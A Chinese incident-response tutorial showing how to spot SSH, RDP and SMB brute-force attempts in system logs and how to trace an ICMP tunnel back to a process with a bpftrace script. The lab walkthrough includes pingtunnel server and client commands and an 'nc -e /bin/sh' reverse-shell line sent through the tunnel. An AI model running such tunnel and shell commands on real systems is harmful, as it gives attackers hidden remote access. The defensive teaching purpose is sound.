密码爆破日志分析与隧道流量检查
免责声明:本文内容仅用于安全研究与学习,请在合法授权的环境中使用,严禁用于任何非法用途。因使用不当造成的后果由使用者自行承担,并应遵守相关法律法规。
爆破日志分析
在应急响应时,为了了解和追查攻击者的攻击入口点和攻击意图,通常使用日志分析的方法,还原攻击方法获取攻击者指纹
其中爆破攻击是在内外网中最常见的一种攻击,尤其是内网横向移动
在分析日志时,需要做到:
- 明确日志的具体路径
- 明确日志中有哪些属性和判断依据
现在我通过Linux和Windows两种操作系统为例,分析爆破攻击的日志
Linux
系统日志通常是分析 /var/log 路径下面的日志
其中最为重要的是:
/var/log/auth.log
或者
/var/log/secure
当然如果是第三方安装的程序,需要找对应的日志路径
Linux-ssh爆破
攻击复现
使用railgun破解工具对虚拟机进行ssh爆破

日志检查
查看 /var/log/secure 情况

查看错误日志登录
cat /var/log/secure|grep Failed

其中许多错误密码记录,并且时间间隔很近,可以判定为爆破事件
成功判断
观察是否登录成功:
cat /var/log/secure|grep Accepted

来源统计
统计登录失败的ip和次数

处置建议
有爆破成功登录的日志,后续需要紧急对该ip进行拉黑封堵
防止爆破建议安装 fail2ban 进行防御
Windows
Windows-RDP:
事件ID:4625/4624
- 4624:登陆成功
- 4625:登陆失败
登陆类型:2/3/5/10
- 2 交互式登录(也称为“本地登录”)
- 3
Network(网络) - 10 远程桌面(以前称为“终端服务”)
环境准备
虚拟机启动远程服务端口
控制面板-->搜索远程-->允许远程访问你的计算机-->允许应用,此时3389端口就启用了

关闭防火墙

审核配置
开启审核登录成功失败策略
Win + R → secpol.msc
点击
本地策略
└── 审核策略
└── 审核登录事件
修改(当然最好全部打开,为后面的实验准备)

日志位置
日志查看路径
日志查看方法有多种:
- 直接访问
文件夹C:\Windows\System32\winevt\Logs下的日志,一般重点看security.evtx、setup.evtx、system.evtx
![image.png]()
- 使用事件管理器
Win+R输入eventvwr-->windows日志-->安全
接下来使用后面使用事件管理器为主
![image.png]()
攻击复现
同理使用工具爆破

日志分析
查看日志,看到大量失败日志,并且事件时间距离很近,判断为爆破事件

通过筛选和时间判断,登录是否成功

查看详细信息可以获取爆破的事件类型为网络登录

Windows-SMB:
事件ID:4625/4624
登陆类型:2/3/5/10
环境准备
在本地搭建开启smb服务
参考链接:https://zhuanlan.zhihu.com/p/879444178
策略也要改,不然没有日志
攻击复现
使用爆破工具

日志分析
同样

信息提取
从详细信息提取攻击者的信息和事件类型

除上述例子外还有FTP,Redis,MYSQL,STMP等协议爆破事件,有的是通过系统下载会直接存到系统日志,有些则是应用自带日志管理,需要灵活辨认
隧道流量分析
场景说明:内网或不出网的情况下,协议隧道技术很常见,那么如何定位到进程及攻击者?
- 明确隧道最常使用的协议技术(
socket,DNS,ICMP等等) - 明确Windows,Linux中分析技术
下面我以ICMP隧道为例子
ICMP实验
Linux-ICMP
Kail为客户端:192.168.41.128

Centos为服务端:192.168.41.144

工具准备
工具地址:pingtunnel
服务端启动
服务端启动
sudo ./pingtunnel -type server -key 1234

客户端启动
客户端启动
sudo ./pingtunnel -type client -l :4445 -s 192.168.41.144 -t 127.0.0.1:4444 -tcp 1 -key 1234

隧道说明
含义
client连4445 → server → server本机4444
连接测试
测试连接
服务端监听4444
nc -lvvp 4444

上线验证
客户端执行上线
nc -e /bin/sh 127.0.0.1 4445

以上看出已经连上了
本地检查
看看客户端本地能不能查看到外联情况
netstat -anpt

也是成功将隧道打通隐藏了
隧道检测
分析与发现icmp隧道:
request_monitor.sh
#!/bin/bash
convert_ip_to_integers() {
local ip=$1
IFS='.' read -r a b c d <<< "$ip"
be_ip_int=$((a << 24 | b << 16 | c << 8 | d))
le_ip_int=$((d << 24 | c << 16 | b << 8 | a))
echo "$be_ip_int $le_ip_int"
}
IP="$1"
if [ -z "$IP" ]; then
echo "用法: $0 <目标IP>"
exit 1
fi
read big_endian little_endian <<< "$(convert_ip_to_integers "$IP")"
echo "Start listening for ICMP traffic related to $IP"
echo ""
sudo bpftrace ./request_monitor.bt "$big_endian" "$little_endian" | while IFS= read -r line; do
if [[ "$line" == EVENT* ]]; then
pid=$(echo "$line" | sed -n 's/.*pid=\([0-9]\+\).*/\1/p')
exe="N/A"
if [[ -n "$pid" && -e "/proc/$pid/exe" ]]; then
exe=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
[[ -z "$exe" ]] && exe="N/A"
fi
echo "$line exe=$exe"
else
echo "$line"
fi
done
request_monitor.bt
#!/usr/bin/env bpftrace
/*
监听和指定 IP 相关的 ICMP 流量(双向)
参数:
$1 = 目标IP大端整数
$2 = 目标IP小端整数
*/
kprobe:__dev_queue_xmit
{
$skb = (struct sk_buff *)arg0;
if ($skb) {
$iph = (struct iphdr *)($skb->head + $skb->network_header);
if ($iph) {
if ($iph->protocol == 1) {
if ($iph->daddr == $1 || $iph->daddr == $2 ||
$iph->saddr == $1 || $iph->saddr == $2) {
printf("EVENT send pid=%d tid=%d comm=%s src=%s dst=%s\n",
pid, tid, comm,
ntop(2, $iph->saddr),
ntop(2, $iph->daddr));
}
}
}
}
}
kprobe:netif_receive_skb
{
$skb = (struct sk_buff *)arg0;
if ($skb) {
$iph = (struct iphdr *)($skb->head + $skb->network_header);
if ($iph) {
if ($iph->protocol == 1) {
if ($iph->daddr == $1 || $iph->daddr == $2 ||
$iph->saddr == $1 || $iph->saddr == $2) {
printf("EVENT recv pid=%d tid=%d comm=%s src=%s dst=%s\n",
pid, tid, comm,
ntop(2, $iph->saddr),
ntop(2, $iph->daddr));
}
}
}
}
}
环境安装
安装:
sudo apt update
sudo apt install bpftrace
chmod +x request_monitor.sh
chmod +x request_monitor.bt
启动监听
启动监听
./request_monitor.sh ip
ip可以是本机ip也可以是目标ip
客户机ip(受害机)

成功获取到本地icmp连接的端口以及程序进程和路径
处置建议
后面就是对ip进行处置封锁
Windows-ICMP
服务端kail:192.168.42.130

客户端win10:192.168.42.133

实验环境
实验工具:pingtunnel
服务端启动
sudo ./pingtunnel -type server -key 1234

客户端启动
pingtunnel.exe -type client -l :4445 -s 192.168.42.130 -t 127.0.0.1:4444 -tcp 1 -key 1234

流量分析
分析icmp流量:Microsoft Message Analyzer
进程定位
以管理员身份运行

点击Start Local Trace找到icmp流量

选中一条,打开details4,如图

点击详细信息,如图

就可以准查到进程命令了

补充说明
由于Microsoft Message Analyzer现在已经停止更新了,所以有些系统无法使用,也可以通过wireshark对流量进行分析
处置
封IP及防火墙限制协议


浙公网安备 33010602011771号